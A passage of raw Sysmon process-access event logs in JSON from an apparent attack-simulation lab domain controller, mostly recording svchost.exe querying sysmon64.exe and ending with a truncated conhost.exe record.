C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.572\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00108C0A0500}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 